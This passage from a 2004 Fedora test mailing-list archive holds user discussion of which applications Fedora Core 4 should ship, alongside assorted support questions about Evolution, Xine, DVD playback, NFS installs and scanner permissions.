minimalist desktop, like Ice? > > And why doesn't Fedora include WINE? > > One last thing--I have a client whose biggest lament is that he can't > get onto AOL except by using a browser. How about reviving the Penggy > project to create a proper AOL client? (I already checked: WINE can't > run the Windows AOL client. Somebody tried, and it blew up. It's all > that stuff that AOL's installer puts into the protocol stack.) > > Temlakos > > On Sun, 2004-11-14 at 20:41 -0700, Kim Lux wrote: > > I think the new kdevelop is better than anjuta. With kdevelop you can > > import existing projects. > > > > I agree with the package manager comments. > > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Mon Nov 15 04:04:50 2004 From: lux at diesel-research.com (Kim Lux) Date: Sun, 14 Nov 2004 21:04:50 -0700 Subject: Features for FC4 In-Reply-To: <1100112479.3955.62.camel@marius.asheville.interact> References: <1100112479.3955.62.camel@marius.asheville.interact> Message-ID: <1100491490.7580.9.camel@localhost.localdomain> How about a file system that uses a CDRW (or DVD+/-RW) as a real time file system, ie you can write to it like a floppy disk and you wouldn't need to run burner software. I've got clients that need to send me stuff from machines that are not networked. Floppy disk drives are troublesome in an industrial environment. Surprizingly, cdrom drives hold up well. It would be really convenient to have a real time cdrw/dvdrw, even if it took 15 minutes to umount/eject the disk. -- Kim Lux (Mr.) Diesel Research Inc From perbj at stanford.edu Mon Nov 15 04:36:54 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Sun, 14 Nov 2004 20:36:54 -0800 Subject: Applications for FC4 In-Reply-To: <1100490671.6150.7.camel@localhost.localdomain> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> Message-ID: <1100493414.3031.61.camel@ferrari.localdomain> On Sun, 2004-11-14 at 19:51, Temlakos wrote: > > And at the risk of going from the sublime to the ridiculous, why not > include a real minimalist desktop, like Ice? Because the apparently most popular minimalist desktop nowadays is XFCE, and it's already included? > And why doesn't Fedora include WINE? When it was dropped from Red Hat Linux a while back, the explanation was along the lines of it being in so much of a development stage that any packaged version shipped with the distro would always be outdated. There's also of course the potential of getting Microsoft on your back for shipping a Windows compatibility layer; there may be patent issues involved, and Red Hat has a tendency to be cautious about such things. (I don't know of what might be involved on that front, but Microsoft is pretty good at laying out IP minefields.) > One last thing--I have a client whose biggest lament is that he can't > get onto AOL except by using a browser. How about reviving the Penggy > project to create a proper AOL client? (I already checked: WINE can't > run the Windows AOL client. Somebody tried, and it blew up. It's all > that stuff that AOL's installer puts into the protocol stack.) Some of us avoid AOL like the plague. What exactly does an AOL client do that a browser doesn't? /Per -- Per Bjornsson Ph.D. Candidate, Department of Applied Physics, Stanford University From joelbryanster at gmail.com Mon Nov 15 05:49:55 2004 From: joelbryanster at gmail.com (joelbryan) Date: Mon, 15 Nov 2004 13:49:55 +0800 Subject: Applications for FC4 In-Reply-To: <1100490076.7257.0.camel@localhost.localdomain> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> Message-ID: I agree with the comfort of easily installing software packages, but having more managers to handle software package on a single machine may cause confusion on troubleshooting packages that may cause problems. On Sun, 14 Nov 2004 20:41:16 -0700, Kim Lux wrote: > I think the new kdevelop is better than anjuta. With kdevelop you can > import existing projects. > > I agree with the package manager comments. > > > > > On Sun, 2004-11-14 at 22:13 -0500, Temlakos wrote: > > On Mon, 2004-11-15 at 10:40 +0800, joelbryan wrote: > > > This where just mere application request, an open discussion of > > > suggested software hoping to be release for FC4. > > > > Definitely Anjuta. I use it myself. > > > > And put in postgresql-devel and libpqxx--a full set of libraries and > > includes for creating client apps for PostgreSQL in C/C++. > > > > For that matter, why not include wxGTK and its KDE equivalent? That's > > GPL, AFAIK. > > > > And while you're at it: the OpenOffice SDK. > > > > And--oh, yes: the Apache XML-FO processor. (And make sure that the XSL > > processor installs as part of Linux--I think it does, though. It's never > > turned up missing--but I always install DocBook stuff, just in case.) > > > > And finally: apt and Synaptic. Yes, I know you include yum, and yum > > saved my bacon lately. But--you can't have too many package managers. A > > good desktop administrator should include them all: apt, yum, and > > up2date. > > > > What I've just named are the apps that I always go out and bag every > > time I install Fedora Core on a new machine. Well, not all of them--I > > haven't named the ones that distribute under their own licenses that are > > incompatible with the GPL. These include: > > > > acroread > > Java (at least the JRE if not the SDK) > > mplayer > > > > Temlakos > > > > > -- > Kim Lux (Mr.) Diesel Research Inc > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From alor at taipang.com Mon Nov 15 04:55:48 2004 From: alor at taipang.com (Alor) Date: Mon, 15 Nov 2004 09:55:48 +0500 Subject: Applications for FC4 In-Reply-To: <1100493414.3031.61.camel@ferrari.localdomain> References: <1100490671.6150.7.camel@localhost.localdomain> <1100493414.3031.61.camel@ferrari.localdomain> Message-ID: <200411150955.48471.alor@taipang.com> Include Kaffeine in FC4. It works very well on FC3. Plays any video (CD, DVD) and audio. Best Regards, Alor Long From thomas.cameron at camerontech.com Mon Nov 15 06:22:43 2004 From: thomas.cameron at camerontech.com (Thomas Cameron) Date: Mon, 15 Nov 2004 00:22:43 -0600 Subject: Evolution slooow (was Re: Features for FC4) In-Reply-To: <1100442260.15320.4.camel@steelgoose.com> References: <1100112479.3955.62.camel@marius.asheville.interact> <1100362722.2810.23.camel@kyrre> <1100363086.29852.21.camel@localhost.localdomain> <1100366243.3126.13.camel@kyrre> <1100367989.31911.3.camel@localhost.localdomain> <1100377474.3126.25.camel@kyrre> <1100380446.4550.10.camel@ml350.bankofamerica.com> <1100383887.3564.3.camel@kyrre> <1100442260.15320.4.camel@steelgoose.com> Message-ID: <1100499763.5109.3.camel@thomas.camerontech.com> On Sun, 2004-11-14 at 11:24 -0300, Alexandre Strube wrote: > Em S?b, 2004-11-13 ?s 19:11, Kyrre Ness Sjobak escreveu: > > > Strange. But EVO have some issues with IMAP (something like it has to > > download everything etc - i am really not shure...) > > When you have filters, it looks like it downloads all new messages. Even > if the filters are only subject-related. > > Its quite easy to test this, using imap over a slow connection, like > dial-up. > > -- > []s > > Alexandre Ganso > 500 FOUR vermelha - Diretor Steel Goose Moto Group But I have no filters. It does seem as though Evo re-downloads every header ever few minutes. -- A: Because people read from top to bottom. Q: Why is top-posting bad? Thomas Cameron, RHCE, CNE, MCSE, MCT From shrek-m at gmx.de Mon Nov 15 06:24:51 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Mon, 15 Nov 2004 07:24:51 +0100 Subject: Installing Xine In-Reply-To: <419802D8.1090905@earthlink.net> References: <419802D8.1090905@earthlink.net> Message-ID: <41984BB3.10302@gmx.de> Diahron Grismore wrote: > I use the source to install Xine. In earlier versions I used the > RPM's and they worked fine. After FC3T3 Xine did not install and work > properly with RPM's, so I went to source code. I thought it still > wasn't working until I changed GUI's from GNOME to KDE. I was getting > errors under Gnome, I logged out and logged back in using KDE and it > all works. It was also easier to install it into the menus under KDE. > Instead of using command line for Xine I installed it into my menu and > just click on it from there when I want to watch DVD's. is XINE in RAWHIDE ? http://www.redhat.com/mailman/listinfo/fedora-list -- shrek-m From shrek-m at gmx.de Mon Nov 15 06:28:13 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Mon, 15 Nov 2004 07:28:13 +0100 Subject: FC3 NFS install with ISO images does not work In-Reply-To: <20041115022548.51027.qmail@web53604.mail.yahoo.com> References: <20041115022548.51027.qmail@web53604.mail.yahoo.com> Message-ID: <41984C7D.9070804@gmx.de> George Hill wrote: >Can you do an NFS install using ISO images with FC3 as >you could with FC2? I just tried and it did not work. > >With FC2, you could boot as linux askmethod, specify >NFS, point to an NFS-mountable directory that >contained the ISO images, and install. I tried that >with FC3 and I get a message saying that it does not >look like the directory contains Fedora. When I did a >mount -o loop ... the NFS install went fine (until it >ran out of stuff to install -- I could only mount one >iso image). Anyone else run into this? Thoughts? > will you installl FC3rcx or FC4-test1 ? http://www.redhat.com/mailman/listinfo/fedora-list -- shrek-m From shrek-m at gmx.de Mon Nov 15 06:35:04 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Mon, 15 Nov 2004 07:35:04 +0100 Subject: Applications for FC4 In-Reply-To: References: Message-ID: <41984E18.3000909@gmx.de> joelbryan wrote: >This where just mere application request, an open discussion of >suggested software hoping to be release for FC4. > >I got lot' of application request, here are them as follows > >- Inkscape - A good SVG editor for Gnome, coz it always end up >fronting Gimp as a Paint substitute. >- BitTorrent - I think there's reasons to include this. >- Dr. Python - an IDE for Python. >- Anjuta - C/C++ IDE > i do not know if the fedora-TEST-list is the right list -- shrek-m From joelbryanster at gmail.com Mon Nov 15 06:40:53 2004 From: joelbryanster at gmail.com (joelbryan) Date: Mon, 15 Nov 2004 14:40:53 +0800 Subject: Applications for FC4 In-Reply-To: <41984E18.3000909@gmx.de> References: <41984E18.3000909@gmx.de> Message-ID: It's better to do this, than not to do it at all. On Mon, 15 Nov 2004 07:35:04 +0100, shrek-m at gmx.de wrote: > joelbryan wrote: > > > > >This where just mere application request, an open discussion of > >suggested software hoping to be release for FC4. > > > >I got lot' of application request, here are them as follows > > > >- Inkscape - A good SVG editor for Gnome, coz it always end up > >fronting Gimp as a Paint substitute. > >- BitTorrent - I think there's reasons to include this. > >- Dr. Python - an IDE for Python. > >- Anjuta - C/C++ IDE > > > > i do not know if the fedora-TEST-list is the right list > > -- > shrek-m > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From backes at rhrk.uni-kl.de Mon Nov 15 07:13:27 2004 From: backes at rhrk.uni-kl.de (Joachim Backes) Date: Mon, 15 Nov 2004 08:13:27 +0100 Subject: Controlling application in FC3/evolution for emails with attachments Message-ID: <1100502807.7396.16.camel@sunny.rhrk.uni-kl.de> Hi, can somebody explain how to change the default application for opening an attachment? In FC2, Staroffice was taken for .doc attachments, but in FC3, there is no possibility to change the application. Regards Joachim Backes -- Joachim Backes University of Kaiserslautern,Computer Center, High Performance Computing, D-67653 Kaiserslautern, PO Box 3049, Germany -------------------------------------------------- Phone: +49-631-205-2438, FAX: +49-631-205-3056 http://hlrwm.rhrk.uni-kl.de/home/staff/backes.html From shrek-m at gmx.de Mon Nov 15 07:39:42 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Mon, 15 Nov 2004 08:39:42 +0100 Subject: Controlling application in FC3/evolution for emails with attachments In-Reply-To: <1100502807.7396.16.camel@sunny.rhrk.uni-kl.de> References: <1100502807.7396.16.camel@sunny.rhrk.uni-kl.de> Message-ID: <41985D3E.4090302@gmx.de> Joachim Backes wrote: >can somebody explain how to change the default application for opening >an attachment? In FC2, Staroffice was taken for .doc attachments, but in >FC3, there is no possibility to change the application. > http://www.redhat.com/mailman/listinfo/fedora-list -- shrek-m From mpeters at mac.com Mon Nov 15 07:48:12 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 15 Nov 2004 07:48:12 +0000 Subject: Applications for FC4 In-Reply-To: (from joelbryanster@gmail.com on Sun Nov 14 18:40:40 2004) References: Message-ID: <1100504892l.9668l.0l@devel.mpeters.us> On 11/14/2004 06:40:40 PM, joelbryan wrote: > - BitTorrent - I think there's reasons to include this. No there is not - for several reasons. It does not add any functionallity other than itself, nothing of real value to productivity etc. - those who want it can get it from Fedora Extras. It opens up a bunch of ports and acts as a server - for this reason, it is banned from many networks. Furthermore - the gui front end is nagware, it opens up a browser window asking you to send the guy money. While I'm sure that could easily be removed, it is kind of a big turn off. Leave it in Fedora Extras. Those who want it can yum it. From alan at clueserver.org Mon Nov 15 06:56:43 2004 From: alan at clueserver.org (alan) Date: Sun, 14 Nov 2004 22:56:43 -0800 (PST) Subject: Can we play DVD movies under FC3? In-Reply-To: <1100442849.15320.10.camel@steelgoose.com> Message-ID: On Sun, 14 Nov 2004, Alexandre Strube wrote: > Em S?b, 2004-11-13 ?s 20:51, Alan Cox escreveu: > > > According to the 2600 decision providing advice on this matter is a crime > > in the USSA or with a US citizen present > > > libdvdread: Encrypted DVD support unavailable. > > Your disc vendor doesnt wish you to play it. Be a good citizen, be happy and > > obey. > > And americans doesn't know why the rest of the world look at them with > disguise. Better stay quiet. Xine considers such "protections" damage and routes around it. I tested with a known RCE disc ("Spiderman") and it plays fine under xine from freshrpms.net. It also plays my region 2 discs fine. ("The Brass Eye" is a highly recommended documentary series. Don't forget to call the Sri Lankan Embassy and warn them about the dangers of heavy electricity.) -- Q: Why do programmers confuse Halloween and Christmas? A: Because OCT 31 == DEC 25. From veguilla at hpcf.upr.edu Mon Nov 15 09:07:14 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Mon, 15 Nov 2004 05:07:14 -0400 Subject: Applications for FC4 In-Reply-To: <1100504892l.9668l.0l@devel.mpeters.us> References: <1100504892l.9668l.0l@devel.mpeters.us> Message-ID: <1100509635.28395.13.camel@ricardo.veguilla.net> On Mon, 2004-11-15 at 07:48 +0000, Michael A. Peters wrote: > On 11/14/2004 06:40:40 PM, joelbryan wrote: > > > - BitTorrent - I think there's reasons to include this. > > No there is not - for several reasons. > It does not add any functionallity other than itself, nothing of real > value to productivity etc. - those who want it can get it from Fedora > Extras. First, bittorrent's functionality itself IS reason enough for including it in FC. Most linux distros (including Fedora) are using bittorrent as distribution mechanism. Second, since when is "real value to productivity" the deciding factor for inclusion? I think there are too many precedents of included packages that do not fill that criteria. > > It opens up a bunch of ports and acts as a server - for this reason, it > is banned from many networks. Then don't use it, or better yet, don't install it. > Furthermore - the gui front end is nagware, it opens up a browser > window asking you to send the guy money. While I'm sure that could > easily be removed, it is kind of a big turn off. > use gnome-btdownload instead of bittorrent-gui Regards, -- Ricardo Veguilla From mpeters at mac.com Mon Nov 15 09:31:21 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 15 Nov 2004 09:31:21 +0000 Subject: Applications for FC4 In-Reply-To: <1100490671.6150.7.camel@localhost.localdomain> (from temlakos@comcast.net on Sun Nov 14 19:51:11 2004) References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> Message-ID: <1100511081l.9668l.1l@devel.mpeters.us> On 11/14/2004 07:51:11 PM, Temlakos wrote: > > I realize that we're likely to expand Fedora Core 4 to fill up all > four > disks and maybe even break into a fifth disk. But, hey--some distros > out > there have as many as six. I have a different philosophy. Get it down to two disks - one install and one devel tools/headers Pick either KDE or GNOME but not both - I say GNOME. Dump evolution - it's become too bloated. Balsa is very good, and if they put the resources in balsa that they have to put into Evolution - Balsa would absolutely rock - as long as KISS is kept - no bloat! Dump OpenOffice.org AbiWord and Gnumeric are much better - cleaner interface, less bloat. Granted - OO.o has a powerpoint clone. But it's still a slow bloated piece of junk. Get rid of Sendmail. Go with Postfix. Get rid of vixie-cron/anacron. Go with fcron Get rid of *SQL, PHP, Apache, etc. Gone. Sure - users can still choose that other stuff. That's what yum is for. You get fedora down to one install CD and one developer CD with apps that are consistant interface (I say gnome/gtk2+) and then OEM's have a reason to bundle it - their support staff doesn't have to learn 4 CD's worth of software to help Joe 5-pack (one beer short of a six-pack) out when he calls their support line asking how to set up AOL for Linux. Oh - and one more thing - don't set up networking until after install. That way things like PPPoE can be configured during first boot. Granted - my desire is for Fedora to become a good base for OEM's to use for Linux on the Desktop. Lindows was a flawed concept from the start, LotD needs something better. Red Hat's desire is to use Fedora as somewhat of a testing ground for RHEL etc. Since they control the project, I guess they win. *sigh* From mpeters at mac.com Mon Nov 15 09:32:57 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 15 Nov 2004 09:32:57 +0000 Subject: Applications for FC4 In-Reply-To: <1100491060.7580.3.camel@localhost.localdomain> (from lux@diesel-research.com on Sun Nov 14 19:57:40 2004) References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100491060.7580.3.camel@localhost.localdomain> Message-ID: <1100511177l.9668l.2l@devel.mpeters.us> On 11/14/2004 07:57:40 PM, Kim Lux wrote: > With the advent of inexpensive DVD drives, why do we care how many > disks > it takes ? I guess the big thing is the required bandwidth for > downloading the iso image... Not to mention the bandwidth for more patches that result from more packages ... From twaugh at redhat.com Mon Nov 15 09:42:08 2004 From: twaugh at redhat.com (Tim Waugh) Date: Mon, 15 Nov 2004 09:42:08 +0000 Subject: Fedora Core 3: Epson Perfection 1650 USB Scanner only recognized as "root" In-Reply-To: <41982798.3090407@austin.rr.com> References: <4196869F.70803@austin.rr.com> <41982798.3090407@austin.rr.com> Message-ID: <20041115094208.GT17777@redhat.com> On Sun, Nov 14, 2004 at 09:50:48PM -0600, Erwin J. Prinz wrote: > The question then is how one could trigger this permission change while > logging in to the local console. See the bug in bugzilla about this: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=121511 Tim. */ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From darren at dzr-web.com Mon Nov 15 09:53:37 2004 From: darren at dzr-web.com (D. D. Brierton) Date: Mon, 15 Nov 2004 09:53:37 +0000 Subject: Applications for FC4 In-Reply-To: <1100511081l.9668l.1l@devel.mpeters.us> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100511081l.9668l.1l@devel.mpeters.us> Message-ID: <1100512416.5050.3.camel@excession.dzr> On Mon, 2004-11-15 at 09:31, Michael A. Peters wrote: > Pick either KDE or GNOME but not both - I say GNOME. > Dump evolution - it's become too bloated. Errmmmm ... Evolution is *part* of GNOME. It became part of the core GNOME desktop with Evolution 2.0 and GNOME 2.8. You can't ship GNOME without Evolution. Frankly the rest of your suggestions (e.g.dumping OOo , Apache, PHP, etc.) are too ridiculous to bother responding to. -- ===================================================================== D. D. Brierton darren at dzr-web.com www.dzr-web.com Trying is the first step towards failure (Homer Simpson) ===================================================================== From jos at xos.nl Mon Nov 15 10:02:39 2004 From: jos at xos.nl (Jos Vos) Date: Mon, 15 Nov 2004 11:02:39 +0100 Subject: Applications for FC4 In-Reply-To: <1100512416.5050.3.camel@excession.dzr>; from darren@dzr-web.com on Mon, Nov 15, 2004 at 09:53:37AM +0000 References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100511081l.9668l.1l@devel.mpeters.us> <1100512416.5050.3.camel@excession.dzr> Message-ID: <20041115110239.A13663@xos037.xos.nl> On Mon, Nov 15, 2004 at 09:53:37AM +0000, D. D. Brierton wrote: > Frankly the rest of your suggestions (e.g.dumping OOo , Apache, PHP, > etc.) are too ridiculous to bother responding to. I couldn't agree more (you forgot to mention Sendmail ;-)). And also dumping KDE (and thus dumping all Fedora KDE users) is a very bad thing. I personally don't like both (I'm from the generation that used X on a 386 with 8MB of memory (no, I'm *not* talking about videocard memory ;-)) with twm and that worked just fine, but today's generation wants/needs a "desktop" and (dis)likes either KDE or GNOME. -- -- Jos Vos -- X/OS Experts in Open Systems BV | Phone: +31 20 6938364 -- Amsterdam, The Netherlands | Fax: +31 20 6948204 From mpeters at mac.com Mon Nov 15 10:09:37 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 15 Nov 2004 10:09:37 +0000 Subject: Applications for FC4 In-Reply-To: <1100512416.5050.3.camel@excession.dzr> (from darren@dzr-web.com on Mon Nov 15 01:53:37 2004) References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100511081l.9668l.1l@devel.mpeters.us> <1100512416.5050.3.camel@excession.dzr> Message-ID: <1100513377l.4139l.0l@devel.mpeters.us> On 11/15/2004 01:53:37 AM, D. D. Brierton wrote: > On Mon, 2004-11-15 at 09:31, Michael A. Peters wrote: > > > Pick either KDE or GNOME but not both - I say GNOME. > > Dump evolution - it's become too bloated. > > Errmmmm ... Evolution is *part* of GNOME. It became part of the core > GNOME desktop with Evolution 2.0 and GNOME 2.8. You can't ship GNOME > without Evolution. Yes you can. An application being "part of gnome" does not require its inclusion in a distribution. That's what is so great about free (as in speech) software. From fedora at nodata.co.uk Mon Nov 15 10:10:43 2004 From: fedora at nodata.co.uk (nodata) Date: Mon, 15 Nov 2004 11:10:43 +0100 (CET) Subject: Applications for FC4 In-Reply-To: <1100511081l.9668l.1l@devel.mpeters.us> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100511081l.9668l.1l@devel.mpeters.us> Message-ID: <16320.213.164.3.90.1100513443.squirrel@213.164.3.90> > On 11/14/2004 07:51:11 PM, Temlakos wrote: > > I have a different philosophy. > > Get it down to two disks - one install and one devel tools/headers > Pick either KDE or GNOME but not both - I say GNOME. > Dump evolution - it's become too bloated. Balsa is very good, and if > they put the resources in balsa that they have to put into Evolution - > Balsa would absolutely rock - as long as KISS is kept - no bloat! > Dump OpenOffice.org > AbiWord and Gnumeric are much better - cleaner interface, less bloat. > Granted - OO.o has a powerpoint clone. But it's still a slow bloated > piece of junk. > Get rid of Sendmail. Go with Postfix. > Get rid of vixie-cron/anacron. Go with fcron > Get rid of *SQL, PHP, Apache, etc. Gone. It sounds like you're using the wrong distro :) From jerryw4386 at msn.com Mon Nov 15 10:00:13 2004 From: jerryw4386 at msn.com (JERRY WHITMIRE) Date: Mon, 15 Nov 2004 02:00:13 -0800 Subject: Lost hard drivers Message-ID: Hi Jerry here I guess i needed to explain where i lost the hard drives it is not in the boot up they were in Kde. and Gnome desktop. my Fedora 3 test 3 boots fine. these drives are in the boot up grub config.file. I can boot to them from there. Have did a fresh install and have mounted the drives and am trying to get it updated again. That is the hard part. Thanks to all of the people that help so for it is very helpful. Jerry W. Whitmire jerryw4386 at msn.com _________________________________________________________________ Don?t just search. Find. Check out the new MSN Search! http://search.msn.click-url.com/go/onm00200636ave/direct/01/ From laurence at orchards.org.uk Mon Nov 15 10:47:28 2004 From: laurence at orchards.org.uk (Laurence Orchard) Date: Mon, 15 Nov 2004 10:47:28 +0000 Subject: Can we play DVD movies under FC3? In-Reply-To: References: Message-ID: <1100515647.31657.13.camel@localhost> On Mon, 2004-11-15 at 06:56, alan wrote: > On Sun, 14 Nov 2004, Alexandre Strube wrote: > > > Em S?b, 2004-11-13 ?s 20:51, Alan Cox escreveu: > > > > > According to the 2600 decision providing advice on this matter is a crime > > > in the USSA or with a US citizen present > > > > libdvdread: Encrypted DVD support unavailable. > > > Your disc vendor doesnt wish you to play it. Be a good citizen, be happy and > > > obey. > > > > And americans doesn't know why the rest of the world look at them with > > disguise. Better stay quiet. > > Xine considers such "protections" damage and routes around it. > > I tested with a known RCE disc ("Spiderman") and it plays fine under xine > from freshrpms.net. It also plays my region 2 discs fine. ("The Brass > Eye" is a highly recommended documentary series. Don't forget to call the > Sri Lankan Embassy and warn them about the dangers of heavy electricity.) > > -- > Q: Why do programmers confuse Halloween and Christmas? > A: Because OCT 31 == DEC 25. Had to get my brain in gear for that!! nice one! From mpeters at mac.com Mon Nov 15 12:11:19 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 15 Nov 2004 12:11:19 +0000 Subject: Applications for FC4 In-Reply-To: <1100512416.5050.3.camel@excession.dzr> (from darren@dzr-web.com on Mon Nov 15 01:53:37 2004) References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100511081l.9668l.1l@devel.mpeters.us> <1100512416.5050.3.camel@excession.dzr> Message-ID: <1100520679l.4139l.3l@devel.mpeters.us> On 11/15/2004 01:53:37 AM, D. D. Brierton wrote: > > Frankly the rest of your suggestions (e.g.dumping OOo , Apache, PHP, > etc.) are too ridiculous to bother responding to. > For Red Hat's stated goals, sure. From borkows at uci.agh.edu.pl Mon Nov 15 12:13:15 2004 From: borkows at uci.agh.edu.pl (Borkowski Dariusz) Date: Mon, 15 Nov 2004 13:13:15 +0100 Subject: No sound on laptop, any progress? Message-ID: <1100520795.14450.13.camel@zm226.zmet.agh.edu.pl> I installed FC3 final on formatted / pratinion = it was clean install. Darek Borkowski From arjanv at redhat.com Mon Nov 15 12:15:38 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Mon, 15 Nov 2004 13:15:38 +0100 Subject: Applications for FC4 In-Reply-To: <1100520679l.4139l.3l@devel.mpeters.us> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100511081l.9668l.1l@devel.mpeters.us> <1100512416.5050.3.camel@excession.dzr> <1100520679l.4139l.3l@devel.mpeters.us> Message-ID: <1100520935.2936.23.camel@laptop.fenrus.org> On Mon, 2004-11-15 at 12:11 +0000, Michael A. Peters wrote: > On 11/15/2004 01:53:37 AM, D. D. Brierton wrote: > > > > > Frankly the rest of your suggestions (e.g.dumping OOo , Apache, PHP, > > etc.) are too ridiculous to bother responding to. > > > > For Red Hat's stated goals, sure. ... and nothing is stopping you from making such a mini fedora thing.... -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From temlakos at comcast.net Mon Nov 15 12:17:23 2004 From: temlakos at comcast.net (Temlakos) Date: Mon, 15 Nov 2004 07:17:23 -0500 Subject: Applications for FC4 In-Reply-To: <1100493414.3031.61.camel@ferrari.localdomain> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100493414.3031.61.camel@ferrari.localdomain> Message-ID: <1100521043.2401.13.camel@localhost.localdomain> On Sun, 2004-11-14 at 20:36 -0800, Per Bjornsson wrote: > Some of us avoid AOL like the plague. What exactly does an AOL client do > that a browser doesn't? Mostly when you load it, you're in, and have direct access to AOL mail, buddies, and keywords. Last time I checked, as many people (more than a million) use AOL as use Linux, and the two groups do not overlap, just because of the issue of not having a native client. That's an awful lot of people to write off just because most of us have undisguised contempt for the AOL network interface. Ironically, AOL itself uses Linux to run all their servers. But they won't develop any client packages of their own because they're afraid they'd have to develop--and support--a client package for every single distro. Of course, they probably would just have to develop a very limited set of packages: 1. Binary and source RPM's for all RPM-based distros (including Fedora) 2. Debian-compatible binary and source packages 3. A Gentoo-compatible source package 4. A tarball But part of the problem with a large corporation is that nobody listens to an outsider--and an insider is afraid he'd get fired for recommending a project that turned into a big money-loser. So why should the open-source community care? For the same reason that OpenOffice, for example, is portable to every platform, open-source and closed-: Because we're in the marketplace of ideas. Temlakos From mpeters at mac.com Mon Nov 15 12:21:22 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 15 Nov 2004 12:21:22 +0000 Subject: Applications for FC4 In-Reply-To: <20041115110239.A13663@xos037.xos.nl> (from jos@xos.nl on Mon Nov 15 02:02:39 2004) References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100511081l.9668l.1l@devel.mpeters.us> <1100512416.5050.3.camel@excession.dzr> <20041115110239.A13663@xos037.xos.nl> Message-ID: <1100521282l.4139l.4l@devel.mpeters.us> On 11/15/2004 02:02:39 AM, Jos Vos wrote: > On Mon, Nov 15, 2004 at 09:53:37AM +0000, D. D. Brierton wrote: > > > Frankly the rest of your suggestions (e.g.dumping OOo , Apache, > PHP, > > etc.) are too ridiculous to bother responding to. > > I couldn't agree more (you forgot to mention Sendmail ;-)). > > And also dumping KDE (and thus dumping all Fedora KDE users) is > a very bad thing. I personally don't like both (I'm from the > generation that used X on a 386 with 8MB of memory (no, I'm > *not* talking about videocard memory ;-)) with twm and that > worked just fine, but today's generation wants/needs a "desktop" > and (dis)likes either KDE or GNOME. > Just to make myself clear - I'm not talking about ripping that stuff from RHEL. What I'm after is LOTD. Linux on the Desktop. Ticking off either the KDE or the GNOME users doesn't matter. The path to LOTD is through the OEM - the OEM doesn't want to support 4,5,6 CD's worth of software. Ticking off the current GNOME or KDE fans by choosing one and dumping the other doesn't matter, that's not who I want to target - I want to target the masses and masses of people who don't have a KDE or GNOME preference because they don't use Linux. What these users do need is a vendor who will be able to supply phone support, and to supply adequate phone support, your support representatives need to be familiar with the software. Do you train them on 4 CD's worth of software or 1 CD worth of software? It doesn't take a kernel developer to figure out which is both cheaper and faster. The masses that don't use Linux now don't need servers, that's RHEL territory - not LOTD territory. From arjanv at redhat.com Mon Nov 15 13:07:26 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Mon, 15 Nov 2004 14:07:26 +0100 Subject: Applications for FC4 In-Reply-To: <1100521282l.4139l.4l@devel.mpeters.us> References: <1100488384.4037.7.camel@localhost.localdomain> <1100490076.7257.0.camel@localhost.localdomain> <1100490671.6150.7.camel@localhost.localdomain> <1100511081l.9668l.1l@devel.mpeters.us> <1100512416.5050.3.camel@excession.dzr> <20041115110239.A13663@xos037.xos.nl> <1100521282l.4139l.4l@devel.mpeters.us> Message-ID: <1100524044.2936.25.camel@laptop.fenrus.org> > What these users do need is a vendor who will be able to supply phone > support, and to supply adequate phone support, your support > representatives need to be familiar with the software. Do you train > them on 4 CD's worth of software or 1 CD worth of software? ... and Red Hat sells exactly this for corporate desktop users... -------------- next part -------------- A non-text attachment was scrubbed... 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From alan at redhat.com Mon Nov 15 13:34:36 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 15 Nov 2004 08:34:36 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100475787.4401.0.camel@davidz> References: <2f9c0cdd3140ef21279f122330d12766@fcp.homelinux.org> 